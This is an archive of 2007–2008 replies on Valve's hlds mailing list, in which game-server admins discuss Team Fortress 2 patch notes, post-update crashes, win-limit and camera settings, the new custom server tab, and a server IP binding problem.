> file> as srcds.bat.> 4. Load up the server by double clicking this file
> instead of the .exe or> how ever you load yours up.> > I am not the creator
> of this bat file. I read about it awhile back and have> used it since.> >
> Hope this helps :)> > > > > > - Original Message -> From: "Mike
> Stiehm" <[EMAIL PROTECTED]>> To: > Sent:
> Tuesday, March 11, 2008 3:51 PM> Subject: [hlds] Programs to restart
> srcds.exe> > > --> [ Picked text/plain from multipart/alternative ]> I
> remember some people talking about a few programs> that monitor and restart
> srcds.exe when it crashes. I know> of imagecfg and fire deamon but can't
> remember what the other> program was called. It would ping or query the
> server to see> if it had crashed or not... Not serverdoc anyone??> > > > >
> From: [EMAIL PROTECTED]> Subject: Re: [hlds] Update on the> >
> release of Goldrush and Medic Achievements> To:> >
> hlds@list.valvesoftware.com> Date: Tue, 11 Mar 2008 15:45:51 -0700> > -->>
> > [ Picked text/plain from multipart/alternative ]> Im thinking later this>
> > month perhaps next week. .. . . . . . .>> > >
> - Original Message > From: David Ulbrich> > <
> [EMAIL PROTECTED]>> To: hlds@list.valvesoftware.com> Sent:> >
> Tuesday, March 11, 2008 11:48:54 AM> Subject: [hlds] Update on the release>
> > of Goldrush and Medic Achievements> > --> [ Picked text/plain from> >
> multipart/alternative ]> So what is the latest news on this update? We> >
> were being told by the end of February and yet have not seen anything else>
> > on it yet.>> >
> _> Windows>
> > Live Hotmail is giving away Zunes. Enter for your chance to win.>> >
> http://www.windowslive-hotmail.com/ZuneADay/?locale=en-US&ocid=TXT_TAGLM_Mobile_Zune_V3>
> -> > -> > ___> To unsubscribe,
> edit> > your list preferences, or view the list archives, please visit:>> >
> http://list.valvesoftware.com/mailman/listinfo/hlds> > > > > > >> >
> >>
> > Looking for last minute shopping deals?> Find them fast with Yahoo!> >
> Search.> >
> http://tools.search.yahoo.com/newsearch/category.php?category=shopping>
> --> >> > ___> To unsubscribe,
> edit your> > list preferences, or view the list archives, please visit:>> >
> http://list.valvesoftware.com/mailman/listinfo/hlds> --> >
> ___> To unsubscribe, edit your
> list preferences, or view the list archives,> please visit:>
> http://list.valvesoftware.com/mailman/listinfo/hlds> > >
> ___> To unsubscribe, edit your
> list preferences, or view the list archives, please visit:>
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> >>
> > --
> >
> > ___
> > To unsubscribe, edit your list preferences, or view the list archives,
> please visit:
> > http://list.valvesoftware.com/mailman/listinfo/hlds
> >
> >
>
>
>
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Re: [hlds] Please warn us before delists begin.

2008-03-08 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
I'd like to see that as well, not holding my breath though!

On Sat, Mar 8, 2008 at 6:46 PM, Randy W <[EMAIL PROTECTED]> wrote:

> --
> [ Picked text/plain from multipart/alternative ]
> The merits of the custom tab aside (I think it's garbage) can we get a
> warning before 32 man servers begin to get manually delisted? After I saw
> that message from Eric stating that 32 man servers on the internet tab
> would
> be delisted I took off the delist hacks and let my server go into the
> custom
> tab, expecting that other server owners would oblige or be delisted. It's
> been two days since and the other 32 man servers are still on the internet
> tab. I can't afford to keep myself on the custom tab while other servers
> are
> on the internet tab, it's killing my population -- players are going to
> look
> at the internet tab first, and if there's 32 man servers they won't bother
> looking elsewhere. As much as I want to follow the rules, I can't do it at
> the expense of my server. If there's a warning that states delists will
> begin on a certain date, and you guys actually carry them out so those of
> us
> who follow the rules don't get the short end of the stick, I'm sure a lot
> of
> us will oblige.
> --
>
> ___
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Re: [hlds] Custom tab is / will kill of popular servers :(

2008-02-29 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
Amen.

The custom tab, while well intended, is killing off servers that are in it.
It doesn't even have a regional filter, so quite often players won't even
see the server in the custom tab list unless they manage to get all servers
in the refresh.

The custom tab was well intended but the execution on it was terrible. It
really should have had a more extensive testing period.

Sadly I'm sure nothing will come of it. In the next patch they'll once again
try to patch over the workaround people have found (I'm sure they'll
eventually be successful) and they'll fail to address the root of the
problem.

No server owners have a problem with the custom tab, we understand why
you're putting those servers there, the problem is that the custom tab just
isn't usable in its current incarnation. I can't imagine it would have been
terribly difficult to just import the internet tab filters into the custom
area and add the tag filtering in, that would have effectively solve the
primary issue with the custom tab.

On Sat, Mar 1, 2008 at 1:02 AM, Steven Hartland <[EMAIL PROTECTED]>
wrote:

> This new custom tab is killing once VERY popular servers.
>
> Most players are stupid they either don't notice the "tabs"
> or don't know what it means, hence don't even bother clicking
> it.
>
> "Internet" should list ALL Internet servers, if you want
> to enable a filter for standard servers surely a tickbox
> in the same way as "Server is not full", which hides and
> blanks the tags box, is a much better way to go?
>
> "Internet" and "Custom" simply doesn't make any sense.
>
> If your going to have separate tabs:
> 1. Obvious names, "internet" = all internet servers not
> just "standard" internet servers.
> 2. Make is consistent, not one interface for "in game"
> and one interface for the "steam" global list as that just
> adds to the confusion.
>
> Personally I really don't think two tabs is the way to go
> as that means for example I couldn't filter LAN servers for
> just standard servers. So in my book this simply has to be
> a just a filters option: "Only standard rules" or
> something similar.
>
> This should NOT be filtered by default as doing so would
> be in contra to the rest of the design i.e. nothing is
> filtered unless the client specifically requests it.
>
> I understand that Valve wants users to have a good experience
> but custom rules are the least of your worries here. This
> comes from bitter experience when Epic enforced as similar
> "default" filter in UT which killed off a large portion of
> servers which where once the staple part of the community.
>
> Choice is good, informed choice is even better, which is
> what tags provides :) Its just the Internet vs. Custom tab
> which needs a serious revisit.
>
>Regards
>Steve
>
> 
> This e.mail is private and confidential between Multiplay (UK) Ltd. and
> the person or entity to whom it is addressed. In the event of misdirection,
> the recipient is prohibited from using, copying, printing or otherwise
> disseminating it or any information contained in it.
>
> In the event of misdirection, illegible or incomplete transmission please
> telephone +44 845 868 1337
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>
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Re: [hlds] Team Fortress 2/Dedicated Server Updated

2008-02-15 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
I was also getting crashes every few minutes until I changed mp_forcecamera
to 3 from 1.

On Fri, Feb 15, 2008 at 3:59 AM, Games Admin <[EMAIL PROTECTED]>
wrote:

> This is a multi-part message in MIME format.
> --
> I've got 8 TF2 servers running on Intel xeons with similar configs, all of
> them running metamod and
> sourcemod. Server type includes all maps and single map only servers. All
> the servers crashes every
> 10mins to 20mins. I did a change to one of the cvar and it seems to fixed
> the servers (non of them
> are crashing now).
>
> mp_forcecamera 1   <-- crashes every 10mins
> mp_forcecamera 3   <-- i'm using this value for now. no more crashes. all
> is good.
>
> Hope this works for some of you out there till something gets done
> regarding the crashes.
>
> Regards.
>
>
> - Original Message -
> From: steve grout [mailto:[EMAIL PROTECTED]
> To: hlds@list.valvesoftware.com
> Sent: Fri, 15 Feb 2008 08:34:44 +
> Subject: Re: [hlds] Team Fortress 2/Dedicated Server Updated
>
> Add me to the server crashes list..
>
> We only have 2 servers, one is okay , the other crashes every 10 minutes
> or so when full.  We are running them both on linux and both have the
> latest beetlesmod (53b). No other mods / addons installed. Both on the
> same hardware aswell.
>
> Very strange how one crashes and one doesn't.
>
> Stefan Wichmann wrote:
> > --
> > [ Picked text/plain from multipart/alternative ]
> > Is this update for any Source-Engine-based game, or only for the
> orangebox?
> > (Source-TV slot, etc.)
> >
> > On Fri, Feb 15, 2008 at 8:27 AM, "[??R] The-/ [EMAIL PROTECTED]>
> > wrote:
> >
> >
> >> This is a multi-part message in MIME format.
> >> --
> >> [ Picked text/plain from multipart/alternative ]
> >> Saint K. wrote:
> >>
> >>> Nah, Linux is doing just fine.
> >>>
> >>> No crashes what so ever with sourcemod 'n all enabled.
> >>>
> >>> Saint K.
> >>>
> >>> -Oorspronkelijk bericht-
> >>> Van: [EMAIL PROTECTED]
> >>> [mailto:[EMAIL PROTECTED] Namens [DumB]TeXas
> >>> Verzonden: Friday, February 15, 2008 1:59 AM
> >>> Aan: hlds@list.valvesoftware.com
> >>> Onderwerp: Re: [hlds] Team Fortress 2/Dedicated Server Updated
> >>>
> >>> This was under windows server 2003 and running the new badlands map.
> >>>
> >>> It seems people are getting it on both windows and linux servers,
> >>> running any map and with or without plugins.
> >>>
> >>> Anyway, it's time for us European people to get some sleep.. I can
> >>> barely keep my eyes open. :P
> >>>
> >>> Will be taking a closer look in the morning.
> >>>
> >>> - TeX.
> >>>
> >>> 1nsane . wrote:
> >>>
> >>>
>  --
>  [ Picked text/plain from multipart/alternative ]
>  Beetlesmod (Newest Beta)
>  plr + another plugin running and no crashes here.
> 
>  You guys are running Windows or Linux here? I'm on Windows by the
> way.
> 
>  On Thu, Feb 14, 2008 at 7:21 PM, [DumB]TeXas <[EMAIL PROTECTED]>
> 
> >> wrote:
> >>
> 
> 
> > We seem to be getting it regardless of what we run. I've removed
> > absolutely everything of plugins, no mmsource, no nothing - and the
> > server is still crashing after a while once we populate it. We must
> >
> >> have
> >>
> > had half a dozen crashes at least before I gave up trying to fill it
> > back up again. This is incredibly frustrating. =/
> >
> > Steve S. wrote:
> >
> >
> >
> >> Same here, just crashed again.  The first crash was on badlands and
> >>
> >> this
> >>
> >> one was on a custom map. Nothing in the log files.
> >>
> >>
> >>
> >>
> >>
> >>
> >>
> >>> Constant crashes here. Only on my custom map server. My 24/7
> >>>
> >> dustbowl
> >>
> >>> server
> >>> is just fine.
> >>>
> >>>
> >>>
> >>>
> >>>
> >>> ___
> >>> To unsubscribe, edit your list preferences, or view the list archives,
> >>> please visit:
> >>> http://list.valvesoftware.com/mailman/listinfo/hlds
> >>>
> >>>
> >>>
> >>> --
> >>> No virus found in this incoming message.
> >>> Checked by AVG Free Edition.
> >>> Version: 7.5.516 / Virus Database: 269.20.4/1277 - Release Date:
> >>>
> >> 2/13/2008
> >>
> >>> 8:00 PM
> >>>
> >>>
> >>>
> >>> ___
> >>> To unsubscribe, edit your list preferences, or view the list archives,
> >>>
> >> please visit:
> >>
> >>> http://list.valvesoftware.com/mailman/listinfo/hlds
> >>>
> >>>
> >>>
> >> I have 3 tf2 servers on Win2k3 box, all running sourcemod with some
> >> various plugins, 2 are running plr, one standard 24slot and all are
> >> running fine, only thing ive noticed is from the start they are eating
> >> ~200MB memory where usually that didn't happen till 30 min into a map.
> >>
> >> Also, awesome job on Badlands, different and way better than the
> >> original and the standard tf2 gameplay.
> >>
> >> -T

Re: [hlds] Team Fortress 2/Dedicated Server Updated

2008-02-14 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
Is anyone getting constant server side crashes since the patch? Or is it one
of my addons?

On Thu, Feb 14, 2008 at 5:24 PM, Jason Ruymen <[EMAIL PROTECTED]>
wrote:

> Required updates for Team Fortress 2 and it's dedicated servers have
> finally been released.  Please run hldsupdatetool to receive these
> updates.  The specific changes include:
>
> Source Engine:
> - Refactored how lightmaps are downloaded to the graphics card at level
> load. On some hardware configurations this can lower level load times
> significantly
> - Optimized some particle systems to improve performance on some
> hardware configurations
> - Player stats are now sent up as they change, rather than when the
> player dies
> - Improved playback of sub-frame sounds
> - Fixed a crash caused by alt-tabs during map load
> - Eliminated unnecessary temporary memory allocation in scenefilecache
>
> Team Fortress 2:
> - Badlands released
> - Changes to Dustbowl
>- Added a new access point to the stage2 attacker gates
> (drop-down left from spawn), allowing attackers a way to reach the left
> route without being subjected to the spam and sentry gun fire
>- Fixed a gap in stage 3, cap 1 that allowed a player with to
> wiggle above the "ceiling" clip
>- Fixed a gap behind stage 1, cap 1 house
>- Fixed a high perch on stage1 cap1 house roof
>- Fixed a perch offering view of nodraw textures and the skybox
> (stage1 cap2 rock barrier)
>- Fixed a few places where rockets/demoman pipes could pass
> through non-solid models
>- Sealed up a gap over stage1 lower startgate
>- Clipped off tall windows in stage 3 to prevent sentry guns
> from behind built behind them
>- Changes to Capture the Flag Well
>- Fixed trains not starting on map spawn
>- Removed cap association from red spawns that were
> spamming console
>- Changes to Granary
>- Removed spawn timing advantage from the middle (from
> -3 to 0)
>- Fixed several model perch exploits (red, blue cp1 gate
> and blue cp2 gate pipe)
>- Fixed a few places where players could get stuck
> between containers and silos
>- Adjusted playerclips on red container that made it
> appear like players were floating
>- Added a small delay (200 ms) before a zoomed sniper shot can
> get a critical hit
>- Added server side convar mp_fadetoblack. Same functionality as
> Counter-Strike, used mainly during in-person tournaments and LAN events
>- Added flamethrower "sizzle" sound when the Pyro is hitting a
> target
>- Updated explosion debris to be a bit darker
>- Fixed idle players not being kicked from the server if
> mp_allowspectators was set to 0
>- Added ctf_well to the default mapcycle.txt file
>- Added ctf_well to the default motd.txt file
>- Fixed floor tile material type
>- Fixed some weapon damage info missing from TF2 game stats
>- Made some small changes to the Demoman viewmodel that were
> causing performance problems
>- Added a new timer to the HUD to show the value of
> mp_timelimit. This is useful if you're playing a timed match on 2Fort,
> where you only set a timelimit on the server and no other win
> conditions.
>- Added server log entry for buildings destroyed by their owner
>- Fixed sentry gun shadows being clipped
>- Updated glass material
>
> SourceTV:
> - SourceTV now uses a hidden slot on the game server. This allows for 24
> player servers to also have a SourceTV proxy connected to it
> - Fixed Pyro's flamethrower flames not showing up in SourceTV
>
> Jason
>
>
>
> ___
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> please visit:
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Re: [hlds] VAC Secure

2008-01-11 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
Try specifying the IP using +ip, e.g. +ip 55.55.55.55

Also, type sv_lan in console and make sure that it's feeding back 0 for
sv_lan's value. If you're still havoing problems type status, and see if
there's anything mentioned in the top area of status regarding problems
connecting to the Steam authentication servers.

HTH!

On Jan 11, 2008 10:23 AM, Thomas Morton <[EMAIL PROTECTED]>
wrote:

> Hi guys,
>
> right this is a real idiot question
>
> I have a new dedicated box (hosted with fasthosts btw) which i am plannign
> to run 3 new CSS servers on., it is running linux (ubuntu I think...)
>
> I have a user (called css :)) under which I have srcds installed, i can
> start the server (using ./srcds_run -console -game cstrike +map de_dust
> +maxplayers 16 -autoupdate) and over the remote connection (a putty
> session)
> it is runnign fine.
>
> Hostip returnsthe correct strign for my IP address, the port ius correctly
>
> reporting back as 27025 and the ip cvar is set to localhost. It connects
> to
> the valve master list servers fine.
>
> All seems fine
>
> However no one can connect or even see the server on the IP!
>
> No errors nothing, just cant see it.
>
> Any ideas.. what idjit mistake have I made? thisi s bugging me know
> because
> I have done this before many times without a problem and I cant figure it
> :(
>
>
> Thx in advance,
> Tom
>
>
> ___
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> please visit:
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Re: [hlds] VAC Secure

2008-01-11 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
Ahh, just read that your ip cvar is feeding back localhost. I think that's
your problem right there. It should be feeding back the IP you want the
server on, at least I think it should. If that's the case +ip should solve
it.

On Jan 11, 2008 10:39 AM, P. Bhandal <[EMAIL PROTECTED]> wrote:

> Try specifying the IP using +ip, e.g. +ip 55.55.55.55
>
> Also, type sv_lan in console and make sure that it's feeding back 0 for
> sv_lan's value. If you're still havoing problems type status, and see if
> there's anything mentioned in the top area of status regarding problems
> connecting to the Steam authentication servers.
>
> HTH!
>
>
> On Jan 11, 2008 10:23 AM, Thomas Morton <[EMAIL PROTECTED]>
> wrote:
>
> > Hi guys,
> >
> > right this is a real idiot question
> >
> > I have a new dedicated box (hosted with fasthosts btw) which i am
> > plannign
> > to run 3 new CSS servers on., it is running linux (ubuntu I think...)
> >
> > I have a user (called css :)) under which I have srcds installed, i can
> > start the server (using ./srcds_run -console -game cstrike +map de_dust
> > +maxplayers 16 -autoupdate) and over the remote connection (a putty
> > session)
> > it is runnign fine.
> >
> > Hostip returnsthe correct strign for my IP address, the port ius
> > correctly
> > reporting back as 27025 and the ip cvar is set to localhost. It connects
> > to
> > the valve master list servers fine.
> >
> > All seems fine
> >
> > However no one can connect or even see the server on the IP!
> >
> > No errors nothing, just cant see it.
> >
> > Any ideas.. what idjit mistake have I made? thisi s bugging me know
> > because
> > I have done this before many times without a problem and I cant figure
> > it :(
> >
> >
> > Thx in advance,
> > Tom
> >
> >
> > ___
> > To unsubscribe, edit your list preferences, or view the list archives,
> > please visit:
> > http://list.valvesoftware.com/mailman/listinfo/hlds
> >
>
>
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Re: [hlds] dustbowl caps

2008-01-02 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
I miss it too! :(

[-Q-] Qosis

On Jan 2, 2008 11:36 AM, Nephyrin Zey <[EMAIL PROTECTED]> wrote:

> Completely agree. I miss best-of-9 servers like Q ran, now the
> *actual* win/losses mean nothing on dustbowl.
>
> - Neph
>
> On Dec 21, 2007 4:23 AM, Gareth Williamson <[EMAIL PROTECTED]> wrote:
> > The dustbowl scores make no sense now, i understand you want to impart
> some
> > reward for those that are not on the cap at the time, fair enough but
> > ruining ya own mp_roundlimit for this seems alittle daft to me. How can
> you
> > setup a match that has one team defend and then attack and change map..
> >
> > Now the whole mp_roundlimit is shot to hell from this
> >
> >
> > ___
> > To unsubscribe, edit your list preferences, or view the list archives,
> please visit:
> > http://list.valvesoftware.com/mailman/listinfo/hlds
> >
>
> ___
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Re: [hlds] Crashes

2007-12-25 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
Ya, I've been getting a lot as well.

On Dec 25, 2007 2:46 PM, Ray <[EMAIL PROTECTED]> wrote:

> Is anyone else getting server crashs since last update??
> Im getting them and so are some others.
> I Load the mdmp file and it shows server.dll was last .
> Anyone know anything about this?
> Ray
>
>
> ___
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Re: [hlds] Team Fortress 2/Dedicated Server updated

2007-12-21 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
I used to get them occasionally (once per day per server at the most), but
now they're up to about 4 to 6 across my five servers just since the patch
hit.

On Dec 21, 2007 4:43 AM, Kingsley Foreman <[EMAIL PROTECTED]> wrote:

> anyone else seeing an increase in crashes since the last patch?
>
> Kingsley
> - Original Message -----
> From: "P. Bhandal" <[EMAIL PROTECTED]>
> To: 
> Sent: Friday, December 21, 2007 8:43 PM
> Subject: Re: [hlds] Team Fortress 2/Dedicated Server updated
>
>
> > --
> > [ Picked text/plain from multipart/alternative ]
> > Agreed, we used a similar set up. We're now using timelimit again, but
> we
> > have the same problem with blowouts lasting for a long time.
> >
> > On Dec 21, 2007 2:08 AM, Saint K. <[EMAIL PROTECTED]> wrote:
> >
> >> Aye,
> >>
> >> We used to have a setup like this;
> >> mp_winlimit 3
> >> mp_maxrounds 5
> >>
> >> In this case, if 1 team totally owned the other, the map would nicely
> >> change
> >> on 3 wins. Now there is no way of setting a sane value for these, as
> >> sometimes CP's switch from one side to another multiple times within a
> >> couple of minutes.
> >> Setting this CVARs at some higher value has a bad effect on maps like
> >> ctf_2fort as they then tend to play for ages.
> >>
> >> Now I have disabled all these CVARs and only rely on the set time
> limits
> >> on
> >> the map.
> >> If you ask me this is a real BAD change.
> >>
> >> Saint K.
> >>
> >> -Oorspronkelijk bericht-
> >> Van: [EMAIL PROTECTED]
> >> [mailto:[EMAIL PROTECTED] Namens P. Bhandal
> >> Verzonden: Friday, December 21, 2007 10:54 AM
> >> Aan: hlds@list.valvesoftware.com
> >> Onderwerp: Re: [hlds] Team Fortress 2/Dedicated Server updated
> >>
> >> --
> >> [ Picked text/plain from multipart/alternative ]
> >> Ya, it looks like it was intentional. Pretty stupid change as it
> renders
> >> mp_winlimit completely useless.
> >>
> >> On Dec 21, 2007 1:50 AM, Saint K. <[EMAIL PROTECTED]> wrote:
> >>
> >> > We are experiancing this aswell. If this was updated intentionally,
> >> > then
> >> I
> >> > wonder why the heck that's been done.
> >> >
> >> > Saint K.
> >> >
> >> > -Oorspronkelijk bericht-
> >> > Van: [EMAIL PROTECTED]
> >> > [mailto:[EMAIL PROTECTED] Namens P. Bhandal
> >> > Verzonden: Friday, December 21, 2007 4:37 AM
> >> > Aan: hlds@list.valvesoftware.com
> >> > Onderwerp: Re: [hlds] Team Fortress 2/Dedicated Server updated
> >> >
> >> > --
> >> > [ Picked text/plain from multipart/alternative ]
> >> > Just figured out what was happening.
> >> >
> >> > Currently every capture is counting as a "win" on CP maps (may also
> be
> >> on
> >> > CTF ones, haven't checked yet). My servers mp_winlimit is 5, so by
> the
> >> > time
> >> > they're at the 3rd stage 1st cap it is the 5th win.
> >> >
> >> > If anyone else experiences the issue they should run mp_winlimit 0
> and
> >> > just
> >> > do map changes using mp_timelimit.
> >> >
> >> > I'd be interested to hear if others are noticing the same thing as
> well
> >> > (you
> >> > can check by watching the scoreboard after a point is capped).
> >> >
> >> > On Dec 20, 2007 6:29 PM, P. Bhandal <[EMAIL PROTECTED]> wrote:
> >> >
> >> > > I'm not.
> >> > >
> >> > > Hmm, very odd!
> >> > >
> >> > >
> >> > > On Dec 20, 2007 6:25 PM, "[??R] The-/ [EMAIL PROTECTED]>
> >> > > wrote:
> >> > >
> >> > > > P. Bhandal wrote:
> >> > > > > --
> >> > > > > [ Picked text/plain from multipart/alternative ]
> >> > > > > Anybody having a problem where on the final stage of dustbowl
> if
> >> > blue
> >> > > > caps
> >> > > > > the first point they instantly win?
> >> > > > >
> >> > > > > We've had it happen twice in a row now.
> >> > > > >
> >> > > > > On

Re: [hlds] Team Fortress 2/Dedicated Server updated

2007-12-21 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
Agreed, we used a similar set up. We're now using timelimit again, but we
have the same problem with blowouts lasting for a long time.

On Dec 21, 2007 2:08 AM, Saint K. <[EMAIL PROTECTED]> wrote:

> Aye,
>
> We used to have a setup like this;
> mp_winlimit 3
> mp_maxrounds 5
>
> In this case, if 1 team totally owned the other, the map would nicely
> change
> on 3 wins. Now there is no way of setting a sane value for these, as
> sometimes CP's switch from one side to another multiple times within a
> couple of minutes.
> Setting this CVARs at some higher value has a bad effect on maps like
> ctf_2fort as they then tend to play for ages.
>
> Now I have disabled all these CVARs and only rely on the set time limits
> on
> the map.
> If you ask me this is a real BAD change.
>
> Saint K.
>
> -Oorspronkelijk bericht-
> Van: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED] Namens P. Bhandal
> Verzonden: Friday, December 21, 2007 10:54 AM
> Aan: hlds@list.valvesoftware.com
> Onderwerp: Re: [hlds] Team Fortress 2/Dedicated Server updated
>
> --
> [ Picked text/plain from multipart/alternative ]
> Ya, it looks like it was intentional. Pretty stupid change as it renders
> mp_winlimit completely useless.
>
> On Dec 21, 2007 1:50 AM, Saint K. <[EMAIL PROTECTED]> wrote:
>
> > We are experiancing this aswell. If this was updated intentionally, then
> I
> > wonder why the heck that's been done.
> >
> > Saint K.
> >
> > -Oorspronkelijk bericht-
> > Van: [EMAIL PROTECTED]
> > [mailto:[EMAIL PROTECTED] Namens P. Bhandal
> > Verzonden: Friday, December 21, 2007 4:37 AM
> > Aan: hlds@list.valvesoftware.com
> > Onderwerp: Re: [hlds] Team Fortress 2/Dedicated Server updated
> >
> > --
> > [ Picked text/plain from multipart/alternative ]
> > Just figured out what was happening.
> >
> > Currently every capture is counting as a "win" on CP maps (may also be
> on
> > CTF ones, haven't checked yet). My servers mp_winlimit is 5, so by the
> > time
> > they're at the 3rd stage 1st cap it is the 5th win.
> >
> > If anyone else experiences the issue they should run mp_winlimit 0 and
> > just
> > do map changes using mp_timelimit.
> >
> > I'd be interested to hear if others are noticing the same thing as well
> > (you
> > can check by watching the scoreboard after a point is capped).
> >
> > On Dec 20, 2007 6:29 PM, P. Bhandal <[EMAIL PROTECTED]> wrote:
> >
> > > I'm not.
> > >
> > > Hmm, very odd!
> > >
> > >
> > > On Dec 20, 2007 6:25 PM, "[??R] The-/
> > > wrote:
> > >
> > > > P. Bhandal wrote:
> > > > > --
> > > > > [ Picked text/plain from multipart/alternative ]
> > > > > Anybody having a problem where on the final stage of dustbowl if
> > blue
> > > > caps
> > > > > the first point they instantly win?
> > > > >
> > > > > We've had it happen twice in a row now.
> > > > >
> > > > > On Dec 20, 2007 4:32 PM, Kitteny Berk <[EMAIL PROTECTED]> wrote:
> > > > >
> > > > >
> > > > >> Just had a poke in HLSW, I think it might be
> > > > >>
> > > > >> mp_stalemate_enable
> > > > >>
> > > > >> Daron Dodd wrote:
> > > > >>
> > > > >>> when you say "- Sudden Death mode is now a server option (a
> > convar)
> > > > >>> and defaults to
> > > > >>> OFF" whats the convar? so we can enable it
> > > > >>>
> > > > >>> On Dec 20, 2007 3:15 PM, Jason Ruymen <[EMAIL PROTECTED]>
> > > > wrote:
> > > > >>>
> > > > >>>
> > > > >>>> A required update to Team Fortress 2 and it's dedicated server
> > have
> > > > >>>>
> > > > >> been
> > > > >>
> > > > >>>> released.  Please run hldsupdatetool to update.  The specific
> > > > changes
> > > > >>>> include:
> > > > >>>>
> > > > >>>> Team Fortress 2:
> > > > >>>> - Sudden Death mode is now a server option (a convar) and
> > defaults
> > > > to
> > > > >>>> OFF
> > > > &g

Re: [hlds] Team Fortress 2/Dedicated Server updated

2007-12-21 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
Ya, it looks like it was intentional. Pretty stupid change as it renders
mp_winlimit completely useless.

On Dec 21, 2007 1:50 AM, Saint K. <[EMAIL PROTECTED]> wrote:

> We are experiancing this aswell. If this was updated intentionally, then I
> wonder why the heck that's been done.
>
> Saint K.
>
> -Oorspronkelijk bericht-
> Van: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED] Namens P. Bhandal
> Verzonden: Friday, December 21, 2007 4:37 AM
> Aan: hlds@list.valvesoftware.com
> Onderwerp: Re: [hlds] Team Fortress 2/Dedicated Server updated
>
> --
> [ Picked text/plain from multipart/alternative ]
> Just figured out what was happening.
>
> Currently every capture is counting as a "win" on CP maps (may also be on
> CTF ones, haven't checked yet). My servers mp_winlimit is 5, so by the
> time
> they're at the 3rd stage 1st cap it is the 5th win.
>
> If anyone else experiences the issue they should run mp_winlimit 0 and
> just
> do map changes using mp_timelimit.
>
> I'd be interested to hear if others are noticing the same thing as well
> (you
> can check by watching the scoreboard after a point is capped).
>
> On Dec 20, 2007 6:29 PM, P. Bhandal <[EMAIL PROTECTED]> wrote:
>
> > I'm not.
> >
> > Hmm, very odd!
> >
> >
> > On Dec 20, 2007 6:25 PM, "[??R] The-/
> > wrote:
> >
> > > P. Bhandal wrote:
> > > > --
> > > > [ Picked text/plain from multipart/alternative ]
> > > > Anybody having a problem where on the final stage of dustbowl if
> blue
> > > caps
> > > > the first point they instantly win?
> > > >
> > > > We've had it happen twice in a row now.
> > > >
> > > > On Dec 20, 2007 4:32 PM, Kitteny Berk <[EMAIL PROTECTED]> wrote:
> > > >
> > > >
> > > >> Just had a poke in HLSW, I think it might be
> > > >>
> > > >> mp_stalemate_enable
> > > >>
> > > >> Daron Dodd wrote:
> > > >>
> > > >>> when you say "- Sudden Death mode is now a server option (a
> convar)
> > > >>> and defaults to
> > > >>> OFF" whats the convar? so we can enable it
> > > >>>
> > > >>> On Dec 20, 2007 3:15 PM, Jason Ruymen <[EMAIL PROTECTED]>
> > > wrote:
> > > >>>
> > > >>>
> > > >>>> A required update to Team Fortress 2 and it's dedicated server
> have
> > > >>>>
> > > >> been
> > > >>
> > > >>>> released.  Please run hldsupdatetool to update.  The specific
> > > changes
> > > >>>> include:
> > > >>>>
> > > >>>> Team Fortress 2:
> > > >>>> - Sudden Death mode is now a server option (a convar) and
> defaults
> > > to
> > > >>>> OFF
> > > >>>> - Sapped buildings now take slightly less damage from the Spy who
> > > >>>>
> > > >> sapped
> > > >>
> > > >>>> them
> > > >>>> - The Medic's Medigun now charges at an increased rate during
> Setup
> > > >>>> time, to remove the need for self-damage grinding
> > > >>>> - Fixed an rcon/console command that could cause server crashes
> > > >>>> - Prevented players from playing the "civilian" class
> > > >>>> - Prevented players from hiding their name in the scoreboard
> > > >>>> - Fixed exploit where the Medigun UberCharge wouldn't drain if
> you
> > > >>>> switched weapons
> > > >>>> - Fixed decals not being correctly applied to the world in some
> > > cases
> > > >>>> - Fixed critical bullet tracers not being visible to players
> other
> > > than
> > > >>>> the firer
> > > >>>> - Fixed first person spectator view of the Spy watch not showing
> > > the
> > > >>>> correct cloak value
> > > >>>> - Fixed the teleporter's player shaped particles not drawing
> > > >>>> - Fixed the flamethrower stuttering when firing directly into a
> > > >>>>
> > > >> building
> > > >>
> > > >>>> - Fixed a rare crash that can happen when a player b

Re: [hlds] Team Fortress 2/Dedicated Server updated

2007-12-20 Thread P. Bhandal
--
[ Picked text/plain from multipart/alternative ]
Just figured out what was happening.

Currently every capture is counting as a "win" on CP maps (may also be on
CTF ones, haven't checked yet). My servers mp_winlimit is 5, so by the time
they're at the 3rd stage 1st cap it is the 5th win.

If anyone else experiences the issue they should run mp_winlimit 0 and just
do map changes using mp_timelimit.

I'd be interested to hear if others are noticing the same thing as well (you
can check by watching the scoreboard after a point is capped).

On Dec 20, 2007 6:29 PM, P. Bhandal <[EMAIL PROTECTED]> wrote:

> I'm not.
>
> Hmm, very odd!
>
>
> On Dec 20, 2007 6:25 PM, "[??R] The-/
> wrote:
>
> > P. Bhandal wrote:
> > > --
> > > [ Picked text/plain from multipart/alternative ]
> > > Anybody having a problem where on the final stage of dustbowl if blue
> > caps
> > > the first point they instantly win?
> > >
> > > We've had it happen twice in a row now.
> > >
> > > On Dec 20, 2007 4:32 PM, Kitteny Berk <[EMAIL PROTECTED]> wrote:
> > >
> > >
> > >> Just had a poke in HLSW, I think it might be
> > >>
> > >> mp_stalemate_enable
> > >>
> > >> Daron Dodd wrote:
> > >>
> > >>> when you say "- Sudden Death mode is now a server option (a convar)
> > >>> and defaults to
> > >>> OFF" whats the convar? so we can enable it
> > >>>
> > >>> On Dec 20, 2007 3:15 PM, Jason Ruymen <[EMAIL PROTECTED]>
> > wrote:
> > >>>
> > >>>
> > >>>> A required update to Team Fortress 2 and it's dedicated server have
> > >>>>
> > >> been
> > >>
> > >>>> released.  Please run hldsupdatetool to update.  The specific
> > changes
> > >>>> include:
> > >>>>
> > >>>> Team Fortress 2:
> > >>>> - Sudden Death mode is now a server option (a convar) and defaults
> > to
> > >>>> OFF
> > >>>> - Sapped buildings now take slightly less damage from the Spy who
> > >>>>
> > >> sapped
> > >>
> > >>>> them
> > >>>> - The Medic's Medigun now charges at an increased rate during Setup
